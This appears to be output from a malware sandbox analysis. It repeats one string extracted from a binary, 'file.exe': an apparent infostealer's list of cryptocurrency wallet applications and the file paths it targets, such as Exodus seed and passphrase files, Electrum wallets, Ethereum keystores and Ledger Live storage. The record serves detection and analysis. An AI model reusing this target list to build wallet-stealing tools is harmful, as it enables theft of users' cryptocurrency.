Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2587213039.0000000000FAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 